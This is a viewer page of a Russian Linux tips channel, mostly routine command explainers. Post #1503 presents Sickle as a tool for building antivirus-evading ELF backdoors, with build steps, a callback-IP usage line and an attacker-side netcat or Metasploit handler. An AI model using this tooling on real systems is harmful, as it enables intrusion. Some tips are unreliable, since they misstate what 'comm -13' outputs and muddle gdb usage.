TGViewer
Channel Public Channel
Linux, please

Linux, please

@linuxplz0x41

Всё о Linux 🐧

🍻 Чат - @UnderChats

🖥 Все наши каналы - @under_channels0x41

👉 Реклама - @under0x41_reklama
Subscribers
5.42K
Photos
481
Videos
8
Links
694

Showing posts older than #1544 · Back to latest

Older Posts 20 shown
Post #1543 2.94K
Команда modinfo

Выводит информации о модуле: файл модуля, краткое описание, авторы, лицензия, параметры. 

modinfo <опция> <имя_модуля|имя_файла>
Если имя модуля не является именем файла, то будет выполнен поиск в каталоге /lib/modules/версия

Опции:
-V либо --version — Вывести версию modinfo.
-F либо --field — Вывести только значение этого поля, по одному в строке. 
-k — Предоставить информацию о другом ядре, а не о используемом в настоящее время. Эта возможность может потребоваться для извлечения информации из недавно установленного набора модулей.
  • 🔥 1
Post #1541 2.49K
Выборка файлов для поиска с помощью grep

Команда grep позволяет фильтровать файлы, в которых нужно искать текст.

Чтобы выполнить поиск только по файлам с определенным расширением, например, .txt нужно использовать опцию --include:
grep -r --include=«*.txt» <слово> </путь/к/папке>

А для того чтобы исключить все файлы с расширением .txt используйте опцию --exclude:
grep -r --exclude=«*.txt» <слово> </путь/к/папке>
  • 👍 4
Post #1535 2.93K
Утилиты для диагностики драйверов

lshw — информация о железе.

lsmod — проверка загруженных модулей ядра.

lspci и lsusb — информация о подключенных устройствах.

dmesg — системные логи для диагностики ошибок драйверов.

glxinfo и vulkaninfo — диагностика графического стека.

nvidia-smi — управление драйверами NVIDIA.
Post #1533 3.1K
Утилита vulkaninfo

vulkaninfo — утилита командной строки, предоставляющая подробную информацию о реализации Vulkan API на устройстве.

Примеры использования:

1. Вывод всей информации о Vulkan:
vulkaninfo


2. Фильтр для ключевых данных о GPU:
vulkaninfo | grep -i device


3. Сохранение информации в файл:
vulkaninfo > vulkan_report.txt
  • 👍 1
Post #1531 2.39K
Получение информации об изображении

Команда identify предоставляет подробную информацию об изображении:
⁃ Формат изображения (например, JPEG, PNG, GIF)
⁃ Размеры (ширина и высота) изображения
⁃ Глубина изображения (количество цветов или уровней)
⁃ Цветовые профили и информация профиля ICC
⁃ Сведения о сжатии (если применимо)
⁃ Другие свойства и характеристики изображения

Синтаксис:
identify image.jpg

Например, вывод может выглядеть так:
image.jpg JPEG 1920x1080 1920x1080+0+0 8-bit sRGB 1.8MB 0.000u 0:00.000
  • 👍 1
Post #1525 2.21K
Находим и удаляем дубликаты в файле

Условие: У вас есть текстовый файл file.txt, в котором могут быть дубликаты строк. Напишем команду, которая удалит дубликаты и сохранит результат в новом файле unique.txt.

sort file.txt | uniq > unique.txt


Команда sort сортирует строки в файле, а uniq удаляет дубликаты, оставляя только уникальные строки. Результат перенаправляется в новый файл unique.txt.
  • 👍 3
  • 👎 2
Post #1523 1.95K
Как просмотреть ASCII/HEX файлы?

Так как в таблице ASCII некоторым кодам соответствуют непечатные символы, то некоторые файлы не может быть целиком просмотрены или распечатаны в текстовом режиме.

Но иногда очень нужно посмотреть содержимое этих файлов. В таких случаях поможет команда gitview.

Чтобы посмотреть файл file.hex:
gitview -c /home/rootlocal/file.hex
Post #1521 2.06K
Автоматическая очистка временных файлов

Cкрипт будет удалять файлы из директории /tmp, которые не изменялись более 7 дней.

#!/bin/bash
find /tmp -type f -mtime +7 -exec rm {} \;


find /tmp — ищет файлы в директории /tmp.
-type f — ищет только файлы (не каталоги).
-mtime +7 — находит файлы, которые не изменялись более 7 дней.
-exec rm {} \; — удаляет найденные файлы.
  • 🔥 5
  • ❤ 1
Post #1520 2.36K
Сравнениваем два файла

Скрипт сравнит два текстовых файла и выведет строки, которые есть в первом файле, но отсутствуют во втором.

#!/bin/bash
file1="file1.txt"
file2="file2.txt"

comm -13 <(sort "$file1") <(sort "$file2")


sort "$file1" и sort "$file2" — сортируют оба файла для корректного сравнения.
comm -13 — выводит строки, которые есть только в первом файле. Параметр -1 исключает строки, которые есть только во втором файле, а -3 исключает общие строки.
  • 👍 5
Post #1519 2.29K
Системные службы и systemd

systemd — система инициализации и менеджер служб, который управляет запуском и остановкой служб в Linux. Он заменяет более старые системы, такие как SysVinit.

Пример:
Чтобы проверить статус службы, например, nginx, используем: systemctl status nginx

Чтобы запустить или остановить службу:
sudo systemctl start nginx
sudo systemctl stop nginx


Чтобы настроить службу на автоматический запуск при загрузке системы: sudo systemctl enable nginx
Post #1517 2.35K
GNU Screen

GNU Screen - консольное приложение, которое позволяет выполнять несколько задач в рамках одной консоли и управлять ими даже в случае отключения от сервера SSH или просто закрытия терминала.

Чтобы установить GNU Screen в Ubuntu:
sudo apt-get install screen

После установки вы можете запустить GNU Screen, вызвав команду "screen". Обычно вы будете работать с GNU Screen следующим образом:
- screen - создать новую сессию
- Ctrl-a c - создать новое окно внутри текущей сессии
- Ctrl-a n - переключиться на следующее окно в текущей сессии
- Ctrl-a p - переключиться на предыдущее окно в текущей сессии
- Ctrl-a d - отключиться от текущей сессии, но оставить ее работающей в фоновом режиме
- screen -r - перейти обратно к существующей сессии
Post #1516 2.23K
Как пользоваться gdb (GNU Debugger)?

1. Убедитесь, что у вас установлен gdb. Если нет, выполните в терминале команду:
sudo apt-get install gdb

2. Запустите программу, которую хотите отладить:
./myprogram

3. Запустите gdb и подключитесь к запущенной программе. Для этого выполните команду:
gdb myprogram

4. Отладка начнется после выполнения предыдущей команды. Вы можете использовать следующие команды для управления отладкой:
- break <номер строки> - устанавливает точку останова на указанной строке
- run - запускает программу
- next - переходит к следующей строке кода
- step - переходит к следующей строке кода или входит внутрь функции
- print <имя переменной> - печатает значение переменной
- quit - завершает отладку
  • 👍 4
Post #1515 2.34K
  • 😁 35
  • 🔥 4
  • 😎 2
Post #1513 2.76K
CTF Search — это поисковая система, предназначенная для поиска и изучения решений и описаний задач формата Capture The Flag (CTF)!

Она содержит более 26 000 записей, охватывающих различные категории, такие как веб-эксплуатация, переполнение буфера и реверс-инжиниринг.

Ссылка
  • ❤ 2
Post #1511 2.38K
  • 😁 24
Post #1509 2.71K
🌀Утилита для повышения анонимности вашей системы

Whonix – это дистрибутив Linux, который использует виртуальные машины для изоляции вашей реальной системы от интернета, пропуская весь трафик через сеть Tor.

Преимущества Whonix:

— Полная анонимность: Даже если злоумышленник получит доступ к рабочей станции, реальный IP останется скрытым.

— Встроенные инструменты:
В систему уже включены приложения для безопасного серфинга, обмена сообщениями и работы с документами.
  • 🤡 7
  • 👍 3
  • 🔥 2
Post #1507 2.23K
  • 😁 35
  • 🤡 1
Post #1506 2.49K
Утилита glxinfo

glxinfo — утилита командной строки, которая предоставляет информацию о реализации OpenGL и состоянии графического стека через интерфейс GLX (OpenGL Extension to the X Window System).

Примеры использования:

1. Получить основные данные о OpenGL:
glxinfo | grep OpenGL

Вывод покажет:
- Версию OpenGL.
- Имя рендера (например, Mesa, NVIDIA, AMD).
- Поддерживаемые функции (GLSL и т.д.).

2. Показать все доступные расширения OpenGL:
glxinfo | grep "extensions"


3. Вывод всей информации:
glxinfo
  • 🤡 2
Post #1505 2.57K
Использование Wine для установки драйверов Windows в Linux

Wine (Wine Is Not an Emulator) — инструмент для запуска приложений Windows на Linux, но его использование для установки драйверов Windows требует осторожности. Драйверы Windows обычно не работают нативно в Linux из-за различий между архитектурами ядра. Тем не менее, в некоторых случаях Wine может помочь, особенно если драйвер нужен для специфического оборудования, для которого нет нативной поддержки в Linux.

Как использовать Wine для установки драйверов Windows

1. Убедитесь, что Wine установлен:
sudo apt install wine  # Для Ubuntu/Debian

Проверьте версию: wine --version

2. Создайте новую Wine-префикс:
WINEPREFIX=~/wine-driver winecfg

Это создаст изолированное окружение для установки драйвера.

3. Скачайте драйвер для Windows:
Найдите подходящую версию драйвера на сайте производителя.

4. Запустите установочный файл через Wine:
WINEPREFIX=~/wine-driver wine setup.exe

Следуйте инструкциям установщика.

После установки драйвера через Wine приложение, связанное с устройством, может быть запущено из этого же Wine-префикса. Например, драйвер может установить необходимое программное обеспечение для управления устройством.

5. Убедитесь, что устройство подключено и распознается Linux:
lsusb  # Для USB-устройств
dmesg | grep -i device # Лог ядра для подключенного оборудования
  • 👍 7
  • 👎 2
Post #1503 2.42K
Sickle: генератор бэкдоров для Linux

Sickle — это инструмент для создания вредоносных ELF-бэкдоров, обходящих антивирусные решения. Позволяет встраивать полезную нагрузку в исполняемые файлы.

Установка:
1. Установите зависимости:
sudo apt install golang

2. Клонируйте репозиторий:
git clone https://github.com/wetw0rk/Sickle.git && cd Sickle

3. Скомпилируйте:
go build Sickle.go


Использование:
1. Запустите генерацию бэкдора:
./Sickle -H <IP> -P <PORT> -F <TARGET_FILE>

2. Запустите обработчик на стороне атакующего, используя netcat или Metasploit.
Older posts →
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →